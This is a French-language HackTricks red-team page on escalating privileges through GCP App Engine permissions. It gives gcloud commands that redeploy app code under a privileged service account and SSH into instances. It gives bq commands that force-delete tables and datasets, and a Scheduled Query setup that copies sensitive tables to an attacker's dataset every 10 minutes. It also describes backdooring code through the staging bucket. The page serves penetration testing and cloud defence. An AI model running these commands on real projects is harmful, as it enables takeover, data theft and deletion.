GCP - AppEngine Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

App Engine

Pour plus d’informations sur App Engine, consultez :

GCP - App Engine Enum

appengine.applications.get, appengine.instances.get, appengine.instances.list, appengine.operations.get, appengine.operations.list, appengine.services.get, appengine.services.list, appengine.versions.create, appengine.versions.get, appengine.versions.list, cloudbuild.builds.get,iam.serviceAccounts.actAs, resourcemanager.projects.get, storage.objects.create, storage.objects.list

Ce sont les permissions nĂ©cessaires pour dĂ©ployer une application en utilisant gcloud cli. Il est possible que les permissions get et list puissent ĂȘtre Ă©vitĂ©es.

Vous pouvez trouver des exemples de code Python dans https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine

Par dĂ©faut, le nom du service App sera default, et il ne peut y avoir qu’une seule instance portant le mĂȘme nom.
Pour le changer et créer une deuxiÚme application, dans app.yaml, changez la valeur de la clé racine pour quelque chose comme service: my-second-app

cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder

Attendez au moins 10–15 minutes ; si cela ne fonctionne pas, relancez le dĂ©ploiement une ou deux fois et attendez quelques minutes.

Note

Il est possible d’indiquer le Service Account Ă  utiliser mais par dĂ©faut, l’App Engine default SA est utilisĂ©.

The URL of the application is something like https://<proj-name>.oa.r.appspot.com/ or https://<service_name>-dot-<proj-name>.oa.r.appspot.com

Mettre à jour les autorisations équivalentes

Vous disposez peut-ĂȘtre des autorisations nĂ©cessaires pour mettre Ă  jour un AppEngine mais pas pour en crĂ©er un nouveau. Dans ce cas, voici comment vous pouvez mettre Ă  jour l’App Engine actuel :

# Find the code of the App Engine in the buckets
gsutil ls

# Download code
mkdir /tmp/appengine2
cd /tmp/appengine2
## In this case it was found in this custom bucket but you could also use the
## buckets generated when the App Engine is created
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
unzip labs_appengine_1_premissions_privesc.zip

## Now modify the code..

## If you don't have an app.yaml, create one like:
cat >> app.yaml <<EOF
runtime: python312

entrypoint: gunicorn -b :\$PORT main:app

env_variables:
A_VARIABLE: "value"
EOF

# Deploy the changes
gcloud app deploy

# Update the SA if you need it (and if you have actas permissions)
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com

Si vous avez déjà compromis un AppEngine et que vous avez la permission appengine.applications.update et actAs sur le compte de service à utiliser, vous pourriez modifier le compte de service utilisé par AppEngine avec :

gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com

appengine.instances.enableDebug, appengine.instances.get, appengine.instances.list, appengine.operations.get, appengine.services.get, appengine.services.list, appengine.versions.get, appengine.versions.list, compute.projects.get

Avec ces permissions, il est possible de se connecter via ssh aux instances App Engine de type flexible (pas standard). Certaines des permissions list et get pourraient ne pas ĂȘtre vraiment nĂ©cessaires.

gcloud app instances ssh --service <app-name> --version <version-id> <ID>

appengine.applications.update, appengine.operations.get

Je pense que cela modifie simplement le SA d’arriùre-plan que google utilisera pour configurer les applications, donc je ne pense pas que vous puissiez abuser de cela pour voler le service account.

gcloud app update --service-account=<sa_email>

appengine.versions.getFileContents, appengine.versions.update

Je ne suis pas sĂ»r de la façon d’utiliser ces permissions ni si elles sont utiles (notez que lorsque vous changez le code, une nouvelle version est créée, donc je ne sais pas si vous pouvez simplement mettre Ă  jour le code ou le rĂŽle IAM d’une version, mais je suppose que vous devriez pouvoir le faire, peut‑ĂȘtre en changeant le code Ă  l’intĂ©rieur du bucket ?).

bigquery.tables.delete, bigquery.datasets.delete & bigquery.models.delete (bigquery.models.getMetadata)

Pour supprimer des tables, des ensembles de données ou des modÚles :

# Table removal
bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>

# Dataset removal
bq rm -r -f <PROJECT_ID>:<DATASET>

# Model removal
bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>

Abus de Scheduled Queries

GrĂące aux permissions bigquery.datasets.get, bigquery.jobs.create et iam.serviceAccounts.actAs, une identitĂ© peut interroger les mĂ©tadonnĂ©es d’un dataset, lancer des jobs BigQuery et les exĂ©cuter en utilisant un Service Account disposant de privilĂšges supĂ©rieurs.

Cette attaque permet d’abuser des Scheduled Queries pour automatiser des requĂȘtes (exĂ©cutĂ©es sous le Service Account choisi), ce qui peut, par exemple, aboutir Ă  la lecture d’informations sensibles et Ă  leur Ă©criture dans une autre table ou dataset auxquels l’attaquant a accĂšs — facilitant une exfiltration indirecte et continue sans avoir Ă  extraire les donnĂ©es hors du systĂšme.

Une fois que l’attaquant sait quel Service Account possĂšde les permissions nĂ©cessaires pour exĂ©cuter la requĂȘte voulue, il peut crĂ©er une configuration de Scheduled Query s’exĂ©cutant avec ce Service Account et qui Ă©crit pĂ©riodiquement les rĂ©sultats dans le dataset de son choix.

bq mk \
--transfer_config \
--project_id=<PROJECT_ID> \
--location=US \
--data_source=scheduled_query \
--target_dataset=<DEST_DATASET> \
--display_name="Generic Scheduled Query" \
--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
--schedule="every 10 minutes" \
--params='{
"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
"destination_table_name_template": "<destination_table>",
"write_disposition": "WRITE_TRUNCATE"
}'

AccÚs en écriture aux buckets

Comme mentionnĂ© les appengine versions gĂ©nĂšrent certaines donnĂ©es Ă  l’intĂ©rieur d’un bucket avec le format de nom : staging.<project-id>.appspot.com. Notez qu’il n’est pas possible de pre-takeover ce bucket car les utilisateurs GCP ne sont pas autorisĂ©s Ă  gĂ©nĂ©rer des buckets utilisant le domaine appspot.com.

Cependant, avec un accĂšs read & write Ă  ce bucket, il est possible d’escalader les privilĂšges vers le SA attachĂ© Ă  la AppEngine version en surveillant le bucket et, Ă  chaque fois qu’un changement est effectuĂ©, modifier le code aussi rapidement que possible. Ainsi, le container créé Ă  partir de ce code exĂ©cutera le backdoored code.

Pour plus d’informations et une PoC, consultez les informations pertinentes sur cette page :

GCP - Storage Privesc

AccÚs en écriture au Artifact Registry

MĂȘme si App Engine crĂ©e des images docker dans Artifact Registry, il a Ă©tĂ© constatĂ© que mĂȘme si vous modifiez l’image dans ce service et supprimez l’instance App Engine (donc une nouvelle est dĂ©ployĂ©e), le code exĂ©cutĂ© ne change pas.
Il se peut que, en rĂ©alisant une Race Condition attack comme avec les buckets il soit possible d’écraser le code exĂ©cutĂ©, mais cela n’a pas Ă©tĂ© testĂ©.

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks